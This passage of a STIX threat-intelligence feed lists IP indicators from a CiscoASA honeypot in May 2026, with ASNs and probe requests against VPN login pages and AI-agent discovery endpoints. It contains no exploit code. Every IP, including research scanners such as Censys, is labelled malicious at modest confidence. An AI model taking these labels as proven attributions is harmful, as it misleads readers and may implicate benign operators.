      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--52468c45-5e45-420b-b034-7f603e4853da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.173.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:20:03.000Z",
      "valid_until": "2026-06-05T02:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-04T01:27:01.303Z",
          "last_seen": "2026-05-04T01:27:05.435Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--58867058-166f-4e48-99f1-f1a7dfc55b57",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.131.162.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:20:14.000Z",
      "valid_until": "2026-06-05T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T03:19:16.708Z",
          "last_seen": "2026-05-04T03:19:19.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--612e890d-eb3b-413b-8877-55f2e291535a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.150.191.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:20:10.000Z",
      "valid_until": "2026-06-05T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-04T05:13:01.712Z",
          "last_seen": "2026-05-04T05:13:19.100Z",
          "country": "United States",
          "country_code": "US",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/agent.json HTTP/1.1\" 404 -",
            "\"GET /.well-known/mcp.json HTTP/1.1\" 404 -",
            "\"GET /mcp HTTP/1.1\" 404 -",
            "\"GET /v1/models HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:20:10.000Z",
      "valid_until": "2026-06-05T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T05:52:32.571Z",
          "last_seen": "2026-05-04T05:53:22.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--00920327-b599-428c-a027-56ed02955d99",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T07:48:24.143Z",
          "last_seen": "2026-05-04T07:55:02.414Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ec9f19e-f9cf-436d-bb5e-35c933c6ab60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T07:52:56.200Z",
          "last_seen": "2026-05-04T07:52:56.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f8d0a829-2119-4400-b63c-3cca8b6ef1b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T07:51:27.686Z",
          "last_seen": "2026-05-04T07:53:07.440Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5da74445-56b2-44de-a214-2d5b792e04ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T07:53:27.835Z",
          "last_seen": "2026-05-04T07:53:27.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T07:53:24.456Z",
          "last_seen": "2026-05-04T07:53:24.456Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e2fb7af2-8e31-4529-8159-a39b2daaf77e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T07:53:01.563Z",
          "last_seen": "2026-05-04T07:53:16.625Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--70994e22-8ae1-436f-b70f-475839800398",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:20:10.000Z",
      "valid_until": "2026-06-05T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-04T07:52:59.901Z",
          "last_seen": "2026-05-04T07:53:14.337Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--69c17208-407a-4c1d-b06a-eea9f733b711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:20:10.000Z",
      "valid_until": "2026-06-05T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-04T10:07:26.618Z",
          "last_seen": "2026-05-24T01:02:19.314Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--63aec114-b1eb-4693-bcb5-abc572082259",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:20:10.000Z",
      "valid_until": "2026-06-05T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T10:06:37.505Z",
          "last_seen": "2026-05-09T02:24:29.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9841e6f2-e50c-40ff-90f2-57d4f030c5e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:20:10.000Z",
      "valid_until": "2026-06-05T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-04T10:06:26.571Z",
          "last_seen": "2026-05-26T14:51:52.196Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--664e8776-df02-4fa3-9ace-1282cb298da5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-04T06:51:51.969Z",
          "last_seen": "2026-05-10T09:01:55.993Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--8b2d45a6-91d0-4949-ad80-4cbc2893a8fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T06:52:01.816Z",
          "last_seen": "2026-05-10T09:02:35.088Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--ef51db7d-b229-45a4-b28e-b583c5a4c17b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T10:21:17.975Z",
          "last_seen": "2026-05-17T03:37:27.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bd47560e-dfbe-44c4-b09a-44c1a6389c33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T11:18:56.347Z",
          "last_seen": "2026-05-05T01:53:08.030Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--752a2bf6-750c-4124-b766-67541cbe0fbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-04T07:01:03.719Z",
          "last_seen": "2026-05-10T08:48:32.294Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--a6b14623-0c57-4e63-97d2-b23ad2532ebf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-04T07:03:39.823Z",
          "last_seen": "2026-05-10T09:33:44.152Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: GB; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--93627aec-b6c8-4336-8e35-1cdf4ff0f088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
